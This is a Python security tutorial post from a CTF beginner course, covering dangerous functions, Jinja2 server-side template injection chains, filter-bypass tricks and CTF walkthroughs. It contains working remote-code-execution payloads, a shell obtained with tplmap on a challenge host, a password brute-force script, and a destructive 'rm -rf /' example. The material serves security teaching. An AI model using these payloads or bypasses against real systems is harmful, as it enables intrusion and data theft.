Skip to content

WRITING / POSTS

Python Security for Beginners, Lesson 1: SSTI and Deserialization

HnuSec Python web security material: setup, Flask, dynamic execution, object reflection, Jinja2 SSTI, object chains, CTF exercises, and remediation.

On this page 28 sections

Python Security - CTF Beginner Training

By HnuSec

Course Introduction

🎯 Course Goals

This course aims to help students start from zero and learn the core security knowledge and offensive/defensive techniques for Python in web security and CTF competitions.

Through hands-on cases, explanations of vulnerability principles, and CTF challenge exercises, participants will develop the following skills:

  • Understand the characteristics of the Python language itself and its potential security risks;
  • Learn common Python vulnerability types and how they are exploited;
  • Understand common risks in Python web development (such as template injection and deserialization);
  • Learn approaches for solving Python security challenge types that frequently appear in CTFs;
  • Develop security awareness and defensive thinking, and improve code-auditing skills.

🛠️ 0. Environment Setup and Dependency Installation

To participate more effectively in the course and hands-on exercises, please complete the following environment setup and review the basics before class:

A local Linux / WSL / virtual machine environment is recommended.

This course recommends Miniconda for creating an isolated Python learning environment and avoiding pollution of global dependencies.

✅ Create and activate the course environment:

conda create -n pysec-ctf python=3.11 -y
conda activate pysec-ctf

Or

  • ✅ Install software/tools:
    • Python 3.8+ (using pyenv to manage multiple versions is recommended)
    • pip / pipx
    • Git
    • Common editors: VSCode, Pycharm, etc.
    • Burp Suite (for web security testing)

Basic libraries such as requests, flask, and jinja2

pip install requests flask jinja2

📌 We recommend consistently using a Python virtual environment (such as venv or virtualenv) to manage dependencies.

Small Demo

To better understand the whole process, get familiar with vulnerability reproduction, exploitation, and environment setup.

vulhub/gradio/CVE-2024-1561 at master · vulhub/vulhub

You can use this vulhub lab to reproduce CVE-2024-1561.

Specific reproduction details are here.

This is a small example workflow, without detailed code analysis; the goal is to learn how to exploit it and understand the process.

CVE-2024-1561 Reproduction - BX

Python Applications

Python Script Demonstration

Python is the primary scripting language used in CTF competitions.

Example: brute-forcing an account password

A simple Flask login implementation

# server.py
from flask import Flask, request
app = Flask(__name__)
users = {'alice': '123456'}           # 只一个弱口令

@app.route('/login', methods=['POST'])
def login():
    u, p = request.form['u'], request.form['p']
    return 'OK' if users.get(u) == p else 'NO'

if __name__ == '__main__':
    app.run(port=8888)

The brute-force script:

# brute.py
import requests, sys
URL="http://127.0.0.1:8888/login"
USER= ['admin','alice']

DEFAULT_WORDLIST = [
    '123456', 'password', 'qwerty', 'letmein', 'admin', 'iloveyou', 'welcome', 'password123'
]
words = DEFAULT_WORDLIST
for i in USER:
    for pwd in words:
        print("尝试用户",i,"密码",pwd)
        if "OK" in requests.post(URL, data={"u": i, "p": pwd}).text:
            print("密码找到了:", pwd)
            break
        else:
            print("密码错误:", pwd)
    print("用户",i,"密码爆破完成")

Final response

❯ python .\baopao.py
尝试用户 admin 密码 123456
密码错误: 123456
尝试用户 admin 密码 password
密码错误: password
尝试用户 admin 密码 qwerty
密码错误: qwerty
尝试用户 admin 密码 letmein
密码错误: letmein
尝试用户 admin 密码 admin
密码错误: admin
尝试用户 admin 密码 iloveyou
密码错误: iloveyou
尝试用户 admin 密码 welcome
密码错误: welcome
尝试用户 admin 密码 password123
密码错误: password123
用户 admin 密码爆破完成
尝试用户 alice 密码 123456
密码找到了: 123456
用户 alice 密码爆破完成

Python Features

Everything Is an Object

  • Basic types such as int, str, list, function, module are all objects.
  • Each object can access metadata such as its class (__class__) and inheritance chain (__mro__).

Focus on this in the SSTI demonstration.

Highly Dynamic Runtime (Dynamic Execution)

  • Supports executing strings at runtime: eval(), exec(), compile()
  • Can dynamically import modules: __import__('os')

📌 Potentially abused in vulnerabilities:

eval("os.system('ls')")
__import__('os').system('whoami')

An attacker can construct object chains to access functions such as eval, os.system, __import__.

Here we introduce Python’s “dangerous functions.”

FunctionFunctionalityReturn valueRisk levelCommon attack scenarios
eval()Evaluate an expressionResult🔥🔥🔥SSTI, deserialization, Webshell
exec()Execute a statement code blockNone🔥🔥🔥🔥Template injection, reflective object creation
compile()Compile a string into a code objectCode object🔥Advanced dynamic execution
__import__()Dynamically import a moduleModule object🔥🔥🔥Bypass detection, command execution
os.system()Execute a system command (no output)Return code🔥🔥🔥Webshell, SSTI
subprocess.*()Execute a system command (capture output)Output/status code🔥🔥🔥🔥Advanced RCE, file read/write, persistence
input() (Py2)Dynamic input executionUser input🔥🔥Python 2-specific vulnerability point

📌 1. eval(expr)

  • Function: Evaluates a string expression and returns the result.
  • Syntax: eval("1 + 2") → 3
  • Essence: Executes an expression and returns its value.

⚠️ Risk: High

  • If user input is concatenated into it, malicious code can easily be injected and executed.
  • Common in template injection, command injection, and Webshells.

🧪 Exploit example:

eval("__import__('os').system('whoami')")

📌 2. exec(code)

  • Function: Executes a piece of code (which may contain multiple lines or a statement block).
  • Syntax:
exec("for i in range(3): print(i)")
  • Essence: Executes statements and returns no value.

⚠️ Risk: Extremely high

  • Can dynamically create variables, functions, and classes, and even modify the context.
  • More powerful and more dangerous than eval.

🧪 Attack example:

exec("__import__('os').system('rm -rf /')")

📌 3. compile(source, filename, mode)

  • Function: Compiles a string into an executable code object.
  • Often used together with eval/exec.
  • mode: "eval" / "exec" / "single"

🧪 Example:

code = compile("print('hello')", "<string>", "exec")
exec(code)

⚠️ Risk: Medium

  • It does not execute code on its own, but is often used to build dynamic code flows.

📌 4. import(‘modulename’)

  • Function: Dynamically imports a module, equivalent to import modulename.
  • Can be used in security vulnerabilities to:
    • Bypass static-analysis tools
    • Dynamically call system modules

🧪 Example:

os = __import__('os')
os.system('whoami')

⚠️ Risk: High

  • Often combined with eval(), getattr(), and similar features to import arbitrary modules from user input.

📌 5. os.system(cmd)

  • Function: Invokes the system shell to execute a command (platform-dependent).
  • Return value: Shell exit code (not command output).

🧪 Example:

import os
os.system('ls')

⚠️ Risk: High

  • Commands execute without output, which suits stealthy attacks.
  • Can easily lead to remote command execution (RCE).

📌 6. subprocess family (preferred by attackers)

  • More powerful than os.system and can retrieve command output.
import subprocess
output = subprocess.check_output("whoami", shell=True)

Other variants:

  • subprocess.call()
  • subprocess.run()
  • subprocess.Popen()

⚠️ Risk: Extremely high

  • Supports control of input/output and environment variables, which helps construct complex attack chains.

📌 7. input()

  • In Python 2, input() is equivalent to eval(raw_input()).
  • Can cause code execution (deprecated).
# Python 2 中
>>> input(">>> ")  
__import__('os').system('whoami')  # 被执行!

🏗️ Understanding SSTI Vulnerabilities

“One template, one statement, one command.”


What Is SSTI?

TermFull nameDefinition
SSTIServer-Side Template InjectionUser input is directly concatenated into server-side template code without escaping or sandbox isolation, causing the template engine to parse and execute attacker-controlled expressions.
  • Essence: The template → data substitution process is reversed:
    Data (user-controlled) → template syntax → engine parsing → code execution (RCE).

What Is a Template, and How Should We Understand It?

A template is a string containing placeholders. A template engine replaces the placeholders with actual data, then generates the final HTML page or text content.

For example (using Jinja2):

Hello, {{ name }}!

If the variable is name = "bx", the template engine will output this after rendering:

Hello, bx!

How It Works?

  1. Template file
  2. Pass in data
  3. Template engine renders
  4. Output content

For example, using Jinja2 in Flask:

from flask import render_template

@app.route('/')
def index():
    return render_template('hello.html', name='bx king')

Corresponding template:

<h1>Hello {{ name }}</h1>

What the browser sees after rendering:

<h1>Hello bx king</h1>

Vulnerability formation flowchart

Text drawing - vulnerability cause

Template engine quick-reference and syntax fingerprints

LanguageCommon enginesIdentifying syntaxQuick PoC
PythonJinja2 / Mako{{7*7}} → 49{{ ''.__class__.__mro__[1].__subclasses__()[...]
PHPTwig / Smarty{{7*7}} / {{$smarty}{{_self.env.setCacheDir("/tmp")}}
JavaFreeMarker${7*7}${"freemarker.template.utility.Execute"?new()("id")}
Node.jsNunjucks / EJS<%= 7*7 %>{{range.constructor("return process.mainModule.require('child_process').execSync('id')")()}}

Classic Jinja2 Exploitation Chain (Including Command Execution)

Example: Python + Flask (Jinja2)

Basic information disclosure

{{ config.items() }}

RCE (Python 3 chain)

{% set x=globals.__builtins__.open('/etc/passwd').read() %}{{x}}

Most general os.popen chain

{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
StageExplanation
selfJinja2 built-in object
.__init__⇒ function object
.__globals__⇒ global namespace
.__builtins__.osobtain the os module
popen⇒ RCE

Vulnerability Detection

Vulnerability detection

Test pointOperationObservation
Mathematical expression{{7*7}}Outputs 49 or an exception
Error messages{{7/0}}Reveals template-engine type and source path
Object chain{{ ''.__class__ }}Returns values such as <class 'str'>

Methods—Manual

Common approaches

  • URL parameter
http://example.com/page?name={{7*7}}
  • Form field
<input name="username" value="{{7*7}}">
  • Cookie injection
Set-Cookie: session={{7*7}}
  • HTTP header injection
User-Agent: {{7*7}}

Automated Tools

  1. Fenjing (I recommend looking into this one)

GitHub - Marven11/Fenjing: An automated Jinja2 SSTI WAF-bypass script designed for CTFs

  • Detects SSTI vulnerabilities in template engines such as Flask/Jinja2
  • Supports fuzz testing of GET and POST requests
  • Supports custom payload templates for batch injection tests
  1. Tplmap

Github-Tplmap

  • Supports multiple template engines (Jinja2, Twig, Velocity, Smarty, etc.)
  • Automatically identifies the template-engine type and attempts command execution
  • Can be used to debug template-injection chains locally
  1. BurpSuite plugin

Combine it with BP automated testing.

…

Defense and Remediation

MeasureExample
Sandbox + allowlistJinja2 SandboxedEnvironment
Inject data onlyUse {{ user.name }} rather than {{ user }}
Escape template delimitersReplace {{ and {% with {[{ and HTML entities
Strict output encoding{{ user.comment | escape }}
Disable dangerous globalsDisable __builtins__, __import__, open

Classroom Demonstration

A quick example with a Flask app

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/ssti')
def ssti_vuln():
    name = request.args.get('name', 'World')
    # 危险:直接将用户输入传入模板
    template = f"Hello, {name}!"
    return render_template_string(template)

# SSTI探测payload
basic_payloads = [
    "{{7*7}}",           # 基础测试,应返回49
    "{{7*'7'}}",         # 字符串重复,应返回7777777
    "${7*7}",            # 其他模板引擎测试
    "#{7*7}",            # Ruby ERB测试
]

# Jinja2信息收集payload
info_gathering = [
    "{{config}}",                    # Flask配置信息
    "{{self}}",                      # 模板上下文
    "{{request}}",                   # 请求对象
    "{{g}}",                         # Flask全局对象
    "{{session}}",                   # 会话信息
    "{{config.items()}}",            # 配置项详情
]

print("SSTI基础payload,你可以尝试访问/ssti,get传参")
print("探测payload:", basic_payloads)
print("信息收集payload:", info_gathering[:3])

if __name__ == '__main__':
    app.run(debug=True)

Hands-on Practice Labs

You can take a closer look at these.

  1. NSSCTF web section
  2. BUUCTF web section
  3. Damn Vulnerable Web Application - DVWA
  4. PortSwigger Labs - “Server-side template injection” section

https://portswigger.net/web-security/all-topics

  1. Hack The Box - “Jeeves” machine

In-depth SSTI Study

Introducing Python Chains

:::info Python—everything is an object

:::

{{ ''.__class__ }}                          # str 类
{{ ''.__class__.__mro__ }}                 # 查看类继承顺序
{{ ''.__class__.__mro__[1] }}              # object 类
{{ ''.__class__.__mro__[1].__subclasses__() }}  # 所有子类列表

Bypasses

Base classes

__mro__[-1]
__base__
__bases__[0]

. is banned.

''.__class__ = ''['__class__']
''.__class__ = ''|attr('__class__')

Use these two methods.

1、用[]代替.
{{"".__class__}}={{""['__class']}}
2、用attr()过滤器绕过,举个例子
{{"".__class__}}={{""|attr('__class__')}}

_ is banned.

1、通过list获取字符列表,然后用pop来获取_,举个例子
{% set a=(()|select|string|list).pop(24)%}{%print(a)%}
2、可以通过十六进制编码的方式进行绕过,举个例子
{{()["\x5f\x5fclass\x5f\x5f"]}} ={{().__class__}}

Assignment methods:

These are mainly used when single and double quotes are banned.

  • request.args.x, pass a GET parameter
  • request.cookies.x, pass a cookie parameter using =
  • request.values.x, pass a POST parameter

Curly braces {} are banned:

In the jinjia engine, you can use {% %}.

{%print("".__.....)%}

Encoding

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"

Here’s a script:

def string_to_hex(s):
    # 将字符串编码为十六进制形式,每个字符被转为两个十六进制数
    return s.encode('ascii').hex()

def hex_to_string(s):
    # 将十六进制字符串解码回普通字符串
    return bytes.fromhex(s).decode('ascii')

# 示例
normal_string = "__class__"
hex_string = string_to_hex(normal_string)
print(f"Original: {normal_string}")
print(f"Hex: {hex_string}")

# 转换回来以验证
decoded_string = hex_to_string(hex_string)
print(f"Decoded: {decoded_string}")

# 输出处理成类似 \x 格式
def string_to_hex_with_slashes(s):
    return ''.join(f'\\x{ord(c):02x}' for c in s)

# 测试
print("Hex with slashes:", string_to_hex_with_slashes(normal_string))

Direct method

{{lipsum.__globals__['os'].popen('tac ../flag').read()}}
{{lipsum.__globals__['o''s']['po''pen']('ls').read()}}
#request对象的方法绕过

{{cycler.__init__.__globals__.os.popen('ls /').read()}}

{{ config.__class__.__init__.__globals__['o''s']['pop''en']('ls /').read() }}                                                                                                                                                                                                       


#flask
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}
                                                                                                                                                                                                        
{{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}                                                                                                                                                                                                       

…

Many more examples

Hands-on Challenges

NSSCTF—[HNCTF 2022 WEEK2]ez_SSTI

  1. Manually

Payload:

?name={{config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20app.py%27).read()}}

I took a look at app.py

from flask import Flask, render_template_string, request

app = Flask(__name__)

@app.route("/")
def app_index():
    name = request.args.get('name')
    blacklist = []

    if name:
        for forbidden_name in blacklist:
            if forbidden_name in name:
                return 'Hacker'

    template = '''
    {% block body %}
    <div class="center-content error">
        <h1>WELCOME TO HNCTF</h1>
        <a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#python" id="test" target="_blank">
            What is server-side template injection?
        </a>
        <h3>%s</h3>
    </div>
    {% endblock %}
    ''' % name

    return render_template_string(template)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)
  1. Use a tool—fenjing

[Anxun Cup 2020]Normal SSTI

  1. Use Fenjing

[HNCTF 2022 WEEK3]ssssti

  1. Use Fenjing

CTFSHOW----web361

Manual
?name={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20/%27).read()%20}}

###
Hello
app bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var
###

Open the file.

?name={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20/flag%27).read()%20}}

Use Tplmap
python2 tplmap.py -u 'https://727c5e75-4ba9-40ce-8fe3-dafdafd6990d.challenge.ctf.show/?name'

#直接获取shell
python2 tplmap.py -u 'https://727c5e75-4ba9-40ce-8fe3-dafdafd6990d.challenge.ctf.show/?name' --os-shell

[+] Run commands on the operating system.
posix-linux $ ls
app.py
posix-linux $ ls /
\app
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
posix-linux $ cat /flag
ctfshow{82f81a13-a157-49a5-ba00-cb23de3238cb}

Reference Articles & Learning Resources

  • HelloCTF

https://hello-ctf.com/hc-web/ssti/

  • Jumping Candy Community

FLask SSTI from Zero to Beginner - Jumping Candy

Python Beginner Learning - Security Analysis - Part One - BX

Other Knowledge

This section contains some more miscellaneous topics.

Switching Python Versions

Introducing the Pyenv tool

Only the specific commands are covered here.

Install a Python version:

pyenv install 3.10.13
pyenv install 3.12.3

List available versions:

pyenv install --list

🔁 Set a version

  • Set the global default version:
pyenv global 3.10.13
  • Set the version for the current shell session:
pyenv shell 3.12.3
  • Set the version for a project directory (creates a **.python-version** file):
pyenv local 3.12.3

Check the currently active version:

pyenv versions    # 查看已安装的所有版本
pyenv version     # 当前正在使用的版本

flask-session Forgery

A deeper look at the Flask framework

Flask Session Forgery - FreeBuf Cybersecurity Portal

GitHub - noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder

Python Memory Shells

…

📚 Python Security Topics

The course covers four modules: fundamentals, vulnerability principles, advanced exploitation, and hands-on CTF practice. Topics include:

  • ✅ Python language fundamentals and security features
    • Data types and scope
    • Risks of built-in functions such as eval / exec
    • Dynamic execution and type-conversion pitfalls
  • ✅ Advanced Python features and security risks
    • Reflection and magic methods
    • __import__ and module abuse
    • Introspection and code injection
  • ✅ Python memory management and security
    • Reference counting and garbage collection
    • Memory leaks, object lifecycles, and vulnerability scenarios
  • ✅ Python concurrency and security
    • threading, multiprocessing, asyncio
    • Thread-safety issues and shared-resource management
  • ✅ Common Python application scenarios and security risks
    • Misuse in web backends, script automation, and data processing
    • Risk case studies: privilege bypass, command injection, information disclosure, etc.
  • ✅ SSTI (Server-Side Template Injection)
    • Common template engines: Jinja2, Tornado Templates
    • Payload construction and remote command execution
  • ✅ Python deserialization vulnerabilities
    • Risk comparisons among modules such as pickle / marshal / yaml
    • CTF exploitation techniques based on pickle.loads()
  • ✅ Python sandbox escapes
    • Sandbox design principles and common bypass points
    • Methods for escaping dynamic-code-execution restrictions
  • ✅ Python prototype pollution
    • Class-attribute injection and dynamic-object pollution
    • Comparison of this vulnerability in Python and JS
  • ✅ Python web framework security issues
    • Configuration and routing vulnerabilities in Flask / Django
    • Session forgery, debug-mode RCE, static-file bypasses
  • ✅ Python security challenges in CTFs
    • Sandbox, template-injection, and deserialization challenges
    • Techniques: payload construction, source-code auditing, black-box analysis, etc.
  • ✅ Summary and defensive measures
    • Secure Python coding practices
    • Common static/dynamic auditing tools (such as Bandit, pylint, pyre-check, etc.)
    • Defensive mechanisms in the secure development lifecycle and continuous integration
Edit this post

Continue reading

Related posts
Previous post
XPath Injection: Principles, Exploitation, and Defense
Next post
OpenHarmony CTF: ezAPP and SERVER Write-up

On this page

SEARCH / QUICK FIND

Search English content

Try searching